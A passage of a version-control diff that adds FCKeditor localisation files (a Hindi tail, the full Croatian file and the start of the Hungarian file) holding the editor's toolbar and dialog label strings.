+DlgDocCharSet		: "करेक्टर सॅट ऍन्कोडिंग",
+DlgDocCharSetCE		: "मध्य यूरोपीय (Central European)",
+DlgDocCharSetCT		: "चीनी (Chinese Traditional Big5)",
+DlgDocCharSetCR		: "सिरीलिक (Cyrillic)",
+DlgDocCharSetGR		: "यवन (Greek)",
+DlgDocCharSetJP		: "जापानी (Japanese)",
+DlgDocCharSetKR		: "कोरीयन (Korean)",
+DlgDocCharSetTR		: "तुर्की (Turkish)",
+DlgDocCharSetUN		: "यूनीकोड (UTF-8)",
+DlgDocCharSetWE		: "पश्चिम यूरोपीय (Western European)",
+DlgDocCharSetOther	: "अन्य करेक्टर सॅट ऍन्कोडिंग",
+
+DlgDocDocType		: "डॉक्यूमॅन्ट प्रकार शीर्षक",
+DlgDocDocTypeOther	: "अन्य डॉक्यूमॅन्ट प्रकार शीर्षक",
+DlgDocIncXHTML		: "XHTML सूचना सम्मिलित करें",
+DlgDocBgColor		: "बैक्ग्राउन्ड रंग",
+DlgDocBgImage		: "बैक्ग्राउन्ड तस्वीर URL",
+DlgDocBgNoScroll	: "स्क्रॉल न करने वाला बैक्ग्राउन्ड",
+DlgDocCText			: "टेक्स्ट",
+DlgDocCLink			: "लिंक",
+DlgDocCVisited		: "विज़िट किया गया लिंक",
+DlgDocCActive		: "सक्रिय लिंक",
+DlgDocMargins		: "पेज मार्जिन",
+DlgDocMaTop			: "ऊपर",
+DlgDocMaLeft		: "बायें",
+DlgDocMaRight		: "दायें",
+DlgDocMaBottom		: "नीचे",
+DlgDocMeIndex		: "डॉक्युमॅन्ट इन्डेक्स संकेतशब्द (अल्पविराम से अलग करें)",
+DlgDocMeDescr		: "डॉक्यूमॅन्ट करॅक्टरन",
+DlgDocMeAuthor		: "लेखक",
+DlgDocMeCopy		: "कॉपीराइट",
+DlgDocPreview		: "प्रीव्यू",
+
+// Templates Dialog
+Templates			: "टॅम्प्लेट",
+DlgTemplatesTitle	: "कन्टेन्ट टॅम्प्लेट",
+DlgTemplatesSelMsg	: "ऍडिटर में ओपन करने हेतु टॅम्प्लेट चुनें(वर्तमान कन्टॅन्ट सेव नहीं होंगे):",
+DlgTemplatesLoading	: "टॅम्प्लेट सूची लोड की जा रही है। ज़रा ठहरें...",
+DlgTemplatesNoTpl	: "(कोई टॅम्प्लेट डिफ़ाइन नहीं किया गया है)",
+DlgTemplatesReplace	: "मूल शब्दों को बदलें",
+
+// About Dialog
+DlgAboutAboutTab	: "FCKEditor के बारे में",
+DlgAboutBrowserInfoTab	: "ब्राउज़र के बारे में",
+DlgAboutLicenseTab	: "लाइसैन्स",
+DlgAboutVersion		: "वर्ज़न",
+DlgAboutLicense		: "लाइसेंस :GNU LGPL",
+DlgAboutInfo		: "अधिक जानकारी के लिये यहाँ जायें:"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/hr.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/hr.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/hr.js	(revision 44)
@@ -0,0 +1,501 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: hr.js
+ * 	Croatian language file.
+ * 
+ * File Authors:
+ * 		Alex Varga (avarga@globaldizajn.hr)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Smanji trake s alatima",
+ToolbarExpand		: "Proširi trake s alatima",
+
+// Toolbar Items and Context Menu
+Save				: "Snimi",
+NewPage				: "Nova stranica",
+Preview				: "Pregledaj",
+Cut					: "Izreži",
+Copy				: "Kopiraj",
+Paste				: "Zalijepi",
+PasteText			: "Zalijepi kao čisti tekst",
+PasteWord			: "Zalijepi iz Worda",
+Print				: "Ispiši",
+SelectAll			: "Odaberi sve",
+RemoveFormat		: "Ukloni formatiranje",
+InsertLinkLbl		: "Link",
+InsertLink			: "Ubaci/promijeni link",
+RemoveLink			: "Ukloni link",
+Anchor				: "Ubaci/promijeni sidro",
+InsertImageLbl		: "Slika",
+InsertImage			: "Ubaci/promijeni sliku",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Ubaci/promijeni Flash",
+InsertTableLbl		: "Tablica",
+InsertTable			: "Ubaci/promijeni tablicu",
+InsertLineLbl		: "Linija",
+InsertLine			: "Ubaci vodoravnu liniju",
+InsertSpecialCharLbl: "Posebni karakteri",
+InsertSpecialChar	: "Ubaci posebne znakove",
+InsertSmileyLbl		: "Smješko",
+InsertSmiley		: "Ubaci smješka",
+About				: "O FCKeditoru",
+Bold				: "Podebljaj",
+Italic				: "Ukosi",
+Underline			: "Potcrtano",
+StrikeThrough		: "Precrtano",
+Subscript			: "Subscript",
+Superscript			: "Superscript",
+LeftJustify			: "Lijevo poravnanje",
+CenterJustify		: "Središnje poravnanje",
+RightJustify		: "Desno poravnanje",
+BlockJustify		: "Blok poravnanje",
+DecreaseIndent		: "Pomakni ulijevo",
+IncreaseIndent		: "Pomakni udesno",
+Undo				: "Poništi",
+Redo				: "Ponovi",
+NumberedListLbl		: "Brojčana lista",
+NumberedList		: "Ubaci/ukloni brojčanu listu",
+BulletedListLbl		: "Obična lista",
+BulletedList		: "Ubaci/ukloni običnu listu",
+ShowTableBorders	: "Prikaži okvir tablice",
+ShowDetails			: "Prikaži detalje",
+Style				: "Stil",
+FontFormat			: "Format",
+Font				: "Font",
+FontSize			: "Veličina",
+TextColor			: "Boja teksta",
+BGColor				: "Boja pozadine",
+Source				: "Kôd",
+Find				: "Pronađi",
+Replace				: "Zamijeni",
+SpellCheck			: "Provjeri pravopis",
+UniversalKeyboard	: "Univerzalna tipkovnica",
+PageBreakLbl		: "Prijelom stranice",
+PageBreak			: "Ubaci prijelom stranice",
+
+Form			: "Form",
+Checkbox		: "Checkbox",
+RadioButton		: "Radio Button",
+TextField		: "Text Field",
+Textarea		: "Textarea",
+HiddenField		: "Hidden Field",
+Button			: "Button",
+SelectionField	: "Selection Field",
+ImageButton		: "Image Button",
+
+FitWindow		: "Povećaj veličinu editora",
+
+// Context Menu
+EditLink			: "Promijeni link",
+CellCM				: "Ćelija",
+RowCM				: "Red",
+ColumnCM			: "Kolona",
+InsertRow			: "Ubaci red",
+DeleteRows			: "Izbriši redove",
+InsertColumn		: "Ubaci kolonu",
+DeleteColumns		: "Izbriši kolone",
+InsertCell			: "Ubaci ćelije",
+DeleteCells			: "Izbriši ćelije",
+MergeCells			: "Spoji ćelije",
+SplitCell			: "Razdvoji ćelije",
+TableDelete			: "Izbriši tablicu",
+CellProperties		: "Svojstva ćelije",
+TableProperties		: "Svojstva tablice",
+ImageProperties		: "Svojstva slike",
+FlashProperties		: "Flash svojstva",
+
+AnchorProp			: "Svojstva sidra",
+ButtonProp			: "Image Button svojstva",
+CheckboxProp		: "Checkbox svojstva",
+HiddenFieldProp		: "Hidden Field svojstva",
+RadioButtonProp		: "Radio Button svojstva",
+ImageButtonProp		: "Image Button svojstva",
+TextFieldProp		: "Text Field svojstva",
+SelectionFieldProp	: "Selection svojstva",
+TextareaProp		: "Textarea svojstva",
+FormProp			: "Form svojstva",
+
+FontFormats			: "Normal;Formatted;Address;Heading 1;Heading 2;Heading 3;Heading 4;Heading 5;Heading 6;Normal (DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "Obrađujem XHTML. Molimo pričekajte...",
+Done				: "Završio",
+PasteWordConfirm	: "Tekst koji želite zalijepiti čini se da je kopiran iz Worda. Želite li prije očistiti tekst?",
+NotCompatiblePaste	: "Ova naredba je dostupna samo u Internet Exploreru 5.5 ili novijem. Želite li nastaviti bez čišćenja?",
+UnknownToolbarItem	: "Nepoznati član trake s alatima \"%1\"",
+UnknownCommand		: "Nepoznata naredba \"%1\"",
+NotImplemented		: "Naredba nije implementirana",
+UnknownToolbarSet	: "Traka s alatima \"%1\" ne postoji",
+NoActiveX			: "Vaše postavke pretraživača mogle bi ograničiti neke od mogućnosti editora. Morate uključiti opciju \"Run ActiveX controls and plug-ins\" u postavkama. Ukoliko to ne učinite, moguće su razliite greške tijekom rada.",
+BrowseServerBlocked : "Pretraivač nije moguće otvoriti. Provjerite da li je uključeno blokiranje pop-up prozora.",
+DialogBlocked		: "Nije moguće otvoriti novi prozor. Provjerite da li je uključeno blokiranje pop-up prozora.",
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "Poništi",
+DlgBtnClose			: "Zatvori",
+DlgBtnBrowseServer	: "Pretraži server",
+DlgAdvancedTag		: "Napredno",
+DlgOpOther			: "<Drugo>",
+DlgInfoTab			: "Info",
+DlgAlertUrl			: "Molimo unesite URL",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<nije postavljeno>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Smjer jezika",
+DlgGenLangDirLtr	: "S lijeva na desno (LTR)",
+DlgGenLangDirRtl	: "S desna na lijevo (RTL)",
+DlgGenLangCode		: "Kôd jezika",
+DlgGenAccessKey		: "Pristupna tipka",
+DlgGenName			: "Naziv",
+DlgGenTabIndex		: "Tab Indeks",
+DlgGenLongDescr		: "Dugački opis URL",
+DlgGenClass			: "Stylesheet klase",
+DlgGenTitle			: "Advisory naslov",
+DlgGenContType		: "Advisory vrsta sadržaja",
+DlgGenLinkCharset	: "Kodna stranica povezanih resursa",
+DlgGenStyle			: "Stil",
+
+// Image Dialog
+DlgImgTitle			: "Svojstva slika",
+DlgImgInfoTab		: "Info slike",
+DlgImgBtnUpload		: "Pošalji na server",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Pošalji",
+DlgImgAlt			: "Alternativni tekst",
+DlgImgWidth			: "Širina",
+DlgImgHeight		: "Visina",
+DlgImgLockRatio		: "Zaključaj odnos",
+DlgBtnResetSize		: "Obriši veličinu",
+DlgImgBorder		: "Okvir",
+DlgImgHSpace		: "HSpace",
+DlgImgVSpace		: "VSpace",
+DlgImgAlign			: "Poravnaj",
+DlgImgAlignLeft		: "Lijevo",
+DlgImgAlignAbsBottom: "Abs dolje",
+DlgImgAlignAbsMiddle: "Abs sredina",
+DlgImgAlignBaseline	: "Bazno",
+DlgImgAlignBottom	: "Dolje",
+DlgImgAlignMiddle	: "Sredina",
+DlgImgAlignRight	: "Desno",
+DlgImgAlignTextTop	: "Vrh teksta",
+DlgImgAlignTop		: "Vrh",
+DlgImgPreview		: "Pregledaj",
+DlgImgAlertUrl		: "Unesite URL slike",
+DlgImgLinkTab		: "Link",
+
+// Flash Dialog
+DlgFlashTitle		: "Flash svojstva",
+DlgFlashChkPlay		: "Auto Play",
+DlgFlashChkLoop		: "Ponavljaj",
+DlgFlashChkMenu		: "Omogući Flash izbornik",
+DlgFlashScale		: "Omjer",
+DlgFlashScaleAll	: "Prikaži sve",
+DlgFlashScaleNoBorder	: "Bez okvira",
+DlgFlashScaleFit	: "Točna veličina",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Link",
+DlgLnkInfoTab		: "Link Info",
+DlgLnkTargetTab		: "Meta",
+
+DlgLnkType			: "Link vrsta",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Sidro na ovoj stranici",
+DlgLnkTypeEMail		: "E-Mail",
+DlgLnkProto			: "Protokol",
+DlgLnkProtoOther	: "<drugo>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Odaberi sidro",
+DlgLnkAnchorByName	: "Po nazivu sidra",
+DlgLnkAnchorById	: "Po Id elementa",
+DlgLnkNoAnchors		: "<Nema dostupnih sidra>",
+DlgLnkEMail			: "E-Mail adresa",
+DlgLnkEMailSubject	: "Naslov",
+DlgLnkEMailBody		: "Sadržaj poruke",
+DlgLnkUpload		: "Pošalji",
+DlgLnkBtnUpload		: "Pošalji na server",
+
+DlgLnkTarget		: "Meta",
+DlgLnkTargetFrame	: "<okvir>",
+DlgLnkTargetPopup	: "<popup prozor>",
+DlgLnkTargetBlank	: "Novi prozor (_blank)",
+DlgLnkTargetParent	: "Roditeljski prozor (_parent)",
+DlgLnkTargetSelf	: "Isti prozor (_self)",
+DlgLnkTargetTop		: "Vršni prozor (_top)",
+DlgLnkTargetFrameName	: "Ime ciljnog okvira",
+DlgLnkPopWinName	: "Naziv popup prozora",
+DlgLnkPopWinFeat	: "Mogućnosti popup prozora",
+DlgLnkPopResize		: "Promjenljive veličine",
+DlgLnkPopLocation	: "Traka za lokaciju",
+DlgLnkPopMenu		: "Izborna traka",
+DlgLnkPopScroll		: "Scroll traka",
+DlgLnkPopStatus		: "Statusna traka",
+DlgLnkPopToolbar	: "Traka s alatima",
+DlgLnkPopFullScrn	: "Cijeli ekran (IE)",
+DlgLnkPopDependent	: "Ovisno (Netscape)",
+DlgLnkPopWidth		: "Širina",
+DlgLnkPopHeight		: "Visina",
+DlgLnkPopLeft		: "Lijeva pozicija",
+DlgLnkPopTop		: "Gornja pozicija",
+
+DlnLnkMsgNoUrl		: "Molimo upišite URL link",
+DlnLnkMsgNoEMail	: "Molimo upišite e-mail adresu",
+DlnLnkMsgNoAnchor	: "Molimo odaberite sidro",
+DlnLnkMsgInvPopName	: "Ime popup prozora mora početi sa slovom i ne smije sadržavati razmake",
+
+// Color Dialog
+DlgColorTitle		: "Odaberite boju",
+DlgColorBtnClear	: "Obriši",
+DlgColorHighlight	: "Osvijetli",
+DlgColorSelected	: "Odaberi",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Ubaci smješka",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Odaberite posebni karakter",
+
+// Table Dialog
+DlgTableTitle		: "Svojstva tablice",
+DlgTableRows		: "Redova",
+DlgTableColumns		: "Kolona",
+DlgTableBorder		: "Veličina okvira",
+DlgTableAlign		: "Poravnanje",
+DlgTableAlignNotSet	: "<nije postavljeno>",
+DlgTableAlignLeft	: "Lijevo",
+DlgTableAlignCenter	: "Središnje",
+DlgTableAlignRight	: "Desno",
+DlgTableWidth		: "Širina",
+DlgTableWidthPx		: "piksela",
+DlgTableWidthPc		: "postotaka",
+DlgTableHeight		: "Visina",
+DlgTableCellSpace	: "Prostornost ćelija",
+DlgTableCellPad		: "Razmak ćelija",
+DlgTableCaption		: "Naslov",
+DlgTableSummary		: "Sažetak",
+
+// Table Cell Dialog
+DlgCellTitle		: "Svojstva ćelije",
+DlgCellWidth		: "Širina",
+DlgCellWidthPx		: "piksela",
+DlgCellWidthPc		: "postotaka",
+DlgCellHeight		: "Visina",
+DlgCellWordWrap		: "Word Wrap",
+DlgCellWordWrapNotSet	: "<nije postavljeno>",
+DlgCellWordWrapYes	: "Da",
+DlgCellWordWrapNo	: "Ne",
+DlgCellHorAlign		: "Vodoravno poravnanje",
+DlgCellHorAlignNotSet	: "<nije postavljeno>",
+DlgCellHorAlignLeft	: "Lijevo",
+DlgCellHorAlignCenter	: "Središnje",
+DlgCellHorAlignRight: "Desno",
+DlgCellVerAlign		: "Okomito poravnanje",
+DlgCellVerAlignNotSet	: "<nije postavljeno>",
+DlgCellVerAlignTop	: "Gornje",
+DlgCellVerAlignMiddle	: "Srednišnje",
+DlgCellVerAlignBottom	: "Donje",
+DlgCellVerAlignBaseline	: "Bazno",
+DlgCellRowSpan		: "Spajanje redova",
+DlgCellCollSpan		: "Spajanje kolona",
+DlgCellBackColor	: "Boja pozadine",
+DlgCellBorderColor	: "Boja okvira",
+DlgCellBtnSelect	: "Odaberi...",
+
+// Find Dialog
+DlgFindTitle		: "Pronađi",
+DlgFindFindBtn		: "Pronađi",
+DlgFindNotFoundMsg	: "Traženi tekst nije pronađen.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Zamijeni",
+DlgReplaceFindLbl		: "Pronađi:",
+DlgReplaceReplaceLbl	: "Zamijeni s:",
+DlgReplaceCaseChk		: "Usporedi mala/velika slova",
+DlgReplaceReplaceBtn	: "Zamijeni",
+DlgReplaceReplAllBtn	: "Zamijeni sve",
+DlgReplaceWordChk		: "Usporedi cijele riječi",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Sigurnosne postavke Vašeg pretraživača ne dozvoljavaju operacije automatskog ljepljenja. Molimo koristite kraticu na tipkovnici (Ctrl+V).",
+PasteErrorCut	: "Sigurnosne postavke Vašeg pretraživača ne dozvoljavaju operacije automatskog izrezivanja. Molimo koristite kraticu na tipkovnici (Ctrl+X).",
+PasteErrorCopy	: "Sigurnosne postavke Vašeg pretraživača ne dozvoljavaju operacije automatskog kopiranja. Molimo koristite kraticu na tipkovnici (Ctrl+C).",
+
+PasteAsText		: "Zalijepi kao čisti tekst",
+PasteFromWord	: "Zalijepi iz Worda",
+
+DlgPasteMsg2	: "Molimo zaljepite unutar doljnjeg okvira koristeći tipkovnicu (<STRONG>Ctrl+V</STRONG>) i kliknite <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Zanemari definiciju vrste fonta",
+DlgPasteRemoveStyles	: "Ukloni definicije stilova",
+DlgPasteCleanBox		: "Očisti okvir",
+
+// Color Picker
+ColorAutomatic	: "Automatski",
+ColorMoreColors	: "Više boja...",
+
+// Document Properties
+DocProps		: "Svojstva dokumenta",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Svojstva sidra",
+DlgAnchorName		: "Ime sidra",
+DlgAnchorErrorName	: "Molimo unesite ime sidra",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Nije u rječniku",
+DlgSpellChangeTo		: "Promijeni u",
+DlgSpellBtnIgnore		: "Zanemari",
+DlgSpellBtnIgnoreAll	: "Zanemari sve",
+DlgSpellBtnReplace		: "Zamijeni",
+DlgSpellBtnReplaceAll	: "Zamijeni sve",
+DlgSpellBtnUndo			: "Vrati",
+DlgSpellNoSuggestions	: "-Nema preporuke-",
+DlgSpellProgress		: "Provjera u tijeku...",
+DlgSpellNoMispell		: "Provjera završena: Nema grešaka",
+DlgSpellNoChanges		: "Provjera završena: Nije napravljena promjena",
+DlgSpellOneChange		: "Provjera završena: Jedna riječ promjenjena",
+DlgSpellManyChanges		: "Provjera završena: Promijenjeno %1 riječi",
+
+IeSpellDownload			: "Provjera pravopisa nije instalirana. Želite li skinuti provjeru pravopisa?",
+
+// Button Dialog
+DlgButtonText		: "Tekst (vrijednost)",
+DlgButtonType		: "Vrsta",
+DlgButtonTypeBtn	: "Gumb",
+DlgButtonTypeSbm	: "Pošalji",
+DlgButtonTypeRst	: "Poništi",
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Ime",
+DlgCheckboxValue	: "Vrijednost",
+DlgCheckboxSelected	: "Odabrano",
+
+// Form Dialog
+DlgFormName		: "Ime",
+DlgFormAction	: "Akcija",
+DlgFormMethod	: "Metoda",
+
+// Select Field Dialog
+DlgSelectName		: "Ime",
+DlgSelectValue		: "Vrijednost",
+DlgSelectSize		: "Veličina",
+DlgSelectLines		: "linija",
+DlgSelectChkMulti	: "Dozvoli višestruki odabir",
+DlgSelectOpAvail	: "Dostupne opcije",
+DlgSelectOpText		: "Tekst",
+DlgSelectOpValue	: "Vrijednost",
+DlgSelectBtnAdd		: "Dodaj",
+DlgSelectBtnModify	: "Promijeni",
+DlgSelectBtnUp		: "Gore",
+DlgSelectBtnDown	: "Dolje",
+DlgSelectBtnSetValue : "Postavi kao odabranu vrijednost",
+DlgSelectBtnDelete	: "Obriši",
+
+// Textarea Dialog
+DlgTextareaName	: "Ime",
+DlgTextareaCols	: "Kolona",
+DlgTextareaRows	: "Redova",
+
+// Text Field Dialog
+DlgTextName			: "Ime",
+DlgTextValue		: "Vrijednost",
+DlgTextCharWidth	: "Širina",
+DlgTextMaxChars		: "Najviše karaktera",
+DlgTextType			: "Vrsta",
+DlgTextTypeText		: "Tekst",
+DlgTextTypePass		: "Šifra",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Ime",
+DlgHiddenValue	: "Vrijednost",
+
+// Bulleted List Dialog
+BulletedListProp	: "Svojstva liste",
+NumberedListProp	: "Svojstva brojčane liste",
+DlgLstStart			: "Početak",
+DlgLstType			: "Vrsta",
+DlgLstTypeCircle	: "Krug",
+DlgLstTypeDisc		: "Disk",
+DlgLstTypeSquare	: "Kvadrat",
+DlgLstTypeNumbers	: "Brojevi (1, 2, 3)",
+DlgLstTypeLCase		: "Mala slova (a, b, c)",
+DlgLstTypeUCase		: "Velika slova (A, B, C)",
+DlgLstTypeSRoman	: "Male rimske brojke (i, ii, iii)",
+DlgLstTypeLRoman	: "Velike rimske brojke (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Općenito",
+DlgDocBackTab		: "Pozadina",
+DlgDocColorsTab		: "Boje i margine",
+DlgDocMetaTab		: "Meta Data",
+
+DlgDocPageTitle		: "Naslov stranice",
+DlgDocLangDir		: "Smjer jezika",
+DlgDocLangDirLTR	: "S lijeva na desno",
+DlgDocLangDirRTL	: "S desna na lijevo",
+DlgDocLangCode		: "Kôd jezika",
+DlgDocCharSet		: "Enkodiranje znakova",
+DlgDocCharSetCE		: "Središnja Europa",
+DlgDocCharSetCT		: "Tradicionalna kineska (Big5)",
+DlgDocCharSetCR		: "Ćirilica",
+DlgDocCharSetGR		: "Grčka",
+DlgDocCharSetJP		: "Japanska",
+DlgDocCharSetKR		: "Koreanska",
+DlgDocCharSetTR		: "Turska",
+DlgDocCharSetUN		: "Unicode (UTF-8)",
+DlgDocCharSetWE		: "Zapadna Europa",
+DlgDocCharSetOther	: "Ostalo enkodiranje znakova",
+
+DlgDocDocType		: "Zaglavlje vrste dokumenta",
+DlgDocDocTypeOther	: "Ostalo zaglavlje vrste dokumenta",
+DlgDocIncXHTML		: "Ubaci XHTML deklaracije",
+DlgDocBgColor		: "Boja pozadine",
+DlgDocBgImage		: "URL slike pozadine",
+DlgDocBgNoScroll	: "Pozadine se ne pomiče",
+DlgDocCText			: "Tekst",
+DlgDocCLink			: "Link",
+DlgDocCVisited		: "Posjećeni link",
+DlgDocCActive		: "Aktivni link",
+DlgDocMargins		: "Margine stranice",
+DlgDocMaTop			: "Vrh",
+DlgDocMaLeft		: "Lijevo",
+DlgDocMaRight		: "Desno",
+DlgDocMaBottom		: "Dolje",
+DlgDocMeIndex		: "Ključne riječi dokumenta (odvojene zarezom)",
+DlgDocMeDescr		: "Opis dokumenta",
+DlgDocMeAuthor		: "Autor",
+DlgDocMeCopy		: "Autorska prava",
+DlgDocPreview		: "Pregledaj",
+
+// Templates Dialog
+Templates			: "Predlošci",
+DlgTemplatesTitle	: "Predlošci sadržaja",
+DlgTemplatesSelMsg	: "Molimo odaberite predložak koji želite otvoriti<br>(stvarni sadržaj će biti izgubljen):",
+DlgTemplatesLoading	: "Učitavam listu predložaka. Molimo pričekajte...",
+DlgTemplatesNoTpl	: "(Nema definiranih predložaka)",
+DlgTemplatesReplace	: "Zamijeni trenutne sadržaje",
+
+// About Dialog
+DlgAboutAboutTab	: "O FCKEditoru",
+DlgAboutBrowserInfoTab	: "Podaci o pretraživaču",
+DlgAboutLicenseTab	: "Licenca",
+DlgAboutVersion		: "inačica",
+DlgAboutLicense		: "Licencirano pod uvjetima GNU Lesser General Public License",
+DlgAboutInfo		: "Za više informacija posjetite"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/hu.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/hu.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/hu.js	(revision 44)
@@ -0,0 +1,502 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: hu.js
+ * 	Hungarian language file.
+ * 
+ * File Authors:
+ * 		Varga Zsolt (meridian@netteszt.hu)
+ * 		Géza Szűcs (flextor@flextor.hu)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Eszköztár elrejtése",
+ToolbarExpand		: "Eszköztár megjelenítése",
+
+// Toolbar Items and Context Menu
+Save				: "Mentés",
+NewPage				: "Új oldal",
+Preview				: "Előnézet",
+Cut					: "Kivágás",
+Copy				: "Másolás",
+Paste				: "Beillesztés",
+PasteText			: "Beillesztés formázás nélkül",
+PasteWord			: "Beillesztés Word-ből",
+Print				: "Nyomtatás",
+SelectAll			: "Mindent kijelöl",
+RemoveFormat		: "Formázás eltávolítása",
+InsertLinkLbl		: "Hivatkozás",
+InsertLink			: "Hivatkozás beillesztése/módosítása",
+RemoveLink			: "Hivatkozás törlése",
+Anchor				: "Horgony beillesztése/szerkesztése",
+InsertImageLbl		: "Kép",
+InsertImage			: "Kép beillesztése/módosítása",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Flash beillesztése, módosítása",
+InsertTableLbl		: "Táblázat",
+InsertTable			: "Táblázat beillesztése/módosítása",
+InsertLineLbl		: "Vonal",
+InsertLine			: "Elválasztóvonal beillesztése",
+InsertSpecialCharLbl: "Speciális karakter",
+InsertSpecialChar	: "Speciális karakter beillesztése",
+InsertSmileyLbl		: "Hangulatjelek",
+InsertSmiley		: "Hangulatjelek beillesztése",
+About				: "FCKeditor névjegy",
+Bold				: "Félkövér",
+Italic				: "Dőlt",
+Underline			: "Aláhúzott",
+StrikeThrough		: "Áthúzott",
+Subscript			: "Alsó index",
+Superscript			: "Felső index",
+LeftJustify			: "Balra",
+CenterJustify		: "Középre",
+RightJustify		: "Jobbra",
+BlockJustify		: "Sorkizárt",
+DecreaseIndent		: "Behúzás csökkentése",
+IncreaseIndent		: "Behúzás növelése",
+Undo				: "Visszavonás",
+Redo				: "Ismétlés",
+NumberedListLbl		: "Számozás",
+NumberedList		: "Számozás beillesztése/törlése",
+BulletedListLbl		: "Felsorolás",
+BulletedList		: "Felsorolás beillesztése/törlése",
+ShowTableBorders	: "Táblázat szegély mutatása",
+ShowDetails			: "Részletek mutatása",
+Style				: "Stílus",
+FontFormat			: "Formátum",
+Font				: "Betűtípus",
+FontSize			: "Méret",
+TextColor			: "Betűszín",
+BGColor				: "Háttérszín",
+Source				: "Forráskód",
+Find				: "Keresés",
+Replace				: "Csere",
+SpellCheck			: "Helyesírás-ellenőrzés",
+UniversalKeyboard	: "Univerzális billentyűzet",
+PageBreakLbl		: "Oldaltörés",
+PageBreak			: "Oldaltörés beillesztése",
+
+Form			: "Űrlap",
+Checkbox		: "Jelölőnégyzet",
+RadioButton		: "Választógomb",
+TextField		: "Szövegmező",
+Textarea		: "Szövegterület",
+HiddenField		: "Rejtettmező",
+Button			: "Gomb",
+SelectionField	: "Legördülő lista",
+ImageButton		: "Képgomb",
+
+FitWindow		: "Maximalizálás",
+
+// Context Menu
+EditLink			: "Hivatkozás módosítása",
+CellCM				: "Cella",
+RowCM				: "Sor",
+ColumnCM			: "Oszlop",
+InsertRow			: "Sor beszúrása",
+DeleteRows			: "Sorok törlése",
+InsertColumn		: "Oszlop beszúrása",
+DeleteColumns		: "Oszlopok törlése",
+InsertCell			: "Cella beszúrása",
+DeleteCells			: "Cellák törlése",
+MergeCells			: "Cellák egyesítése",
+SplitCell			: "Cella szétválasztása",
+TableDelete			: "Táblázat törlése",
+CellProperties		: "Cella tulajdonságai",
+TableProperties		: "Táblázat tulajdonságai",
+ImageProperties		: "Kép tulajdonságai",
+FlashProperties		: "Flash tulajdonságai",
+
+AnchorProp			: "Horgony tulajdonságai",
+ButtonProp			: "Gomb tulajdonságai",
+CheckboxProp		: "Jelölőnégyzet tulajdonságai",
+HiddenFieldProp		: "Rejtett mező tulajdonságai",
+RadioButtonProp		: "Választógomb tulajdonságai",
+ImageButtonProp		: "Képgomb tulajdonságai",
+TextFieldProp		: "Szövegmező tulajdonságai",
+SelectionFieldProp	: "Legördülő lista tulajdonságai",
+TextareaProp		: "Szövegterület tulajdonságai",
+FormProp			: "Űrlap tulajdonságai",
+
+FontFormats			: "Normál;Formázott;Címsor;Fejléc 1;Fejléc 2;Fejléc 3;Fejléc 4;Fejléc 5;Fejléc 6;Bekezdés (DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "XHTML feldolgozása. Kérem várjon...",
+Done				: "Kész",
+PasteWordConfirm	: "A beilleszteni kívánt szöveg Word-ből van másolva. El kívánja távolítani a formázást a beillesztés előtt?",
+NotCompatiblePaste	: "Ez a parancs csak Internet Explorer 5.5 verziótól használható. Megpróbálja beilleszteni a szöveget az eredeti formázással?",
+UnknownToolbarItem	: "Ismeretlen eszköztár elem \"%1\"",
+UnknownCommand		: "Ismeretlen parancs \"%1\"",
+NotImplemented		: "A parancs nem hajtható végre",
+UnknownToolbarSet	: "Az eszközkészlet \"%1\" nem létezik",
+NoActiveX			: "A böngésző biztonsági beállításai korlátozzák a szerkesztő lehetőségeit. Engedélyezni kell ezt az opciót: \"Run ActiveX controls and plug-ins\". Ettől függetlenül előfordulhatnak hibaüzenetek ill. bizonyos funkciók hiányozhatnak.",
+BrowseServerBlocked : "Nem lehet megnyitni a fájlböngészőt. Bizonyosodjon meg róla, hogy a felbukkanó ablakok engedélyezve vannak.",
+DialogBlocked		: "Nem lehet megnyitni a párbeszédablakot. Bizonyosodjon meg róla, hogy a felbukkanó ablakok engedélyezve vannak.",
+
+// Dialogs
